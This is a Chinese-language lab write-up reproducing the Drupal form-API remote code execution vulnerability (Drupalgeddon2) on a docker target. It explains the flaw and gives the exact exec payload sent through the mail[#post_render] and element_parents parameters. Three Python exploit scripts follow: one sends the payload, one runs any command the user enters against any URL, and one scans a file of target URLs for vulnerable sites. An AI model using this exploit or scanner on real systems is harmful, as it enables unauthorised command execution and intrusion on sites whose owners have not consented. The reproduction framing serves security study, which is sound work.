Drupal介绍
Drupal是使用PHP语言编写的开源内容管理框架(CMF),它由内容管理系统(CMS)和PHP开发框架(Framework)共同构成,可以用来建设从个人网站到大型社区网站。
漏洞描述
是由两个问题叠加而成,一、在程序buildform处,用户传入的变量没有受到限制,导致可以传入mali[#post_render]、mail[#type]这样得变量。二、使用uploadAjaxCallback方法中得$from_parents变量是直接通过get(‘element——parents’)得来的,结合之后就造成了打洞。
受影响得版本有 Drupal 6,7,8等多个子版本。
漏洞复现
靶机地址:192.168.1.134
攻击地址:192.168.1.128
启动漏洞环境,
docker-compose up -d
访问http://192.168.1.134:8080/,访问的同时burp进行抓包
起始页面。有个登陆的地方,进入后看见可以进行注册,开始注册抓包。
抓到了一个传输的包,传输完成后会在网页上显示传入照片的小图
这个地址就是执行恶意待码的地方
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]=id
并没有执行成功,尝试其他的地方,发现都是一样的,漏洞是真的难发现。查看别人的分析,在程序调用的时候,$from_parents变量是从get中传入的,意味着这个变量是可控的,所有上传图片中的地址需要改成element_parents=account/mail/%23value至于为什么是这个三个参数传入变量中,我没看明白。修改传入地址为
/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax&_wrapper_format=drupal_ajax
只需要修改命令id
命令为其他命令就可以进行恶意破坏。
脚本编写
先构建POST的请求包直接携带恶意代码,然后就是对URL可输入和输入内容的筛选输出,最后开启自动化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import requests
url = 'http://192.168.1.134:8080/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax&_wrapper_format=drupal_ajax' header = { 'Content-Type':'application/x-www-form-urlencoded', 'Upgrade-Insecure-Requests':'1', 'Origin':'http://192.168.1.134:8080', 'Cache-Control':'max-age=0', 'Referer':'http://192.168.1.134:8080/user/login', 'Accept-Encoding':'gzip, deflate', 'Accept-Language':'zh-CN,zh;q=0.9', 'Connection':'close', 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36', 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' } body = {'form_id':"user_register_form",'_drupal_ajax':"1","mail[#post_render][]":"exec","mail[#type]":'markup','mail[#markup]':"whoami"}
cve = requests.post(url=url,headers=header,data=body)
print(cve.text)
|
这里构建post数据的时候,直接将所有数据一起发送出去了,并没有仔细看别人的分析之类的,导致耽误时间过长,重新查看才发现,不是一个变量传入请求的。这里重新补一张图。总归是菜还心急。而且还是没有看出来地址原因。了解到是传入的参数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import requests import re
ur = input('请输入上传网址:') comm = input('输入执行命令:') url = ur + '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax&_wrapper_format=drupal_ajax' header = { 'Content-Type':'application/x-www-form-urlencoded', 'Upgrade-Insecure-Requests':'1', 'Origin':'http://192.168.1.134:8080', 'Cache-Control':'max-age=0', 'Referer':'http://192.168.1.134:8080/user/login', 'Accept-Encoding':'gzip, deflate', 'Accept-Language':'zh-CN,zh;q=0.9', 'Connection':'close', 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36', 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' } body = {'form_id':"user_register_form",'_drupal_ajax':"1","mail[#post_render][]":"exec","mail[#type]":'markup','mail[#markup]':"whoami"} if comm != '': body['mail[#markup]'] = comm cve = requests.post(url=url,headers=header,data=body) s = r'a":"(.*?)\\u003Cspan' inp = re.findall(s,cve.text) if not inp: print('错误') print(inp)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| import requests import re
with open('D:/桌面/211.txt','r') as file: for files in file: if not files: break url = files + '/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax&_wrapper_format=drupal_ajax' header = { 'Content-Type':'application/x-www-form-urlencoded', 'Upgrade-Insecure-Requests':'1', 'Origin':'http://192.168.1.134:8080', 'Cache-Control':'max-age=0', 'Referer':'http://192.168.1.134:8080/user/login', 'Accept-Encoding':'gzip, deflate', 'Accept-Language':'zh-CN,zh;q=0.9', 'Connection':'close', 'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36', 'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' } body = {'form_id':"user_register_form",'_drupal_ajax':"1","mail[#post_render][]":"exec","mail[#type]":'markup','mail[#markup]':"whoami"} cve = requests.post(url=url,headers=header,data=body) s = r'a":"(.*?)\\u003Cspan' inp = re.findall(s,cve.text) if not inp: print('错误') else: print(files + '漏洞存在')
|
最后一步取消了命令修改,为了节省时间,直接跑命令。
总结
对这个漏洞的细节没有搞得很清楚,对源代码的阅读太差劲了。这个漏洞的地址比较隐蔽,进行目标测试时,需要实时进行流量抓捕。为节省时间没有理解传输的数据包就进行操作,耽误大量时间得不偿失。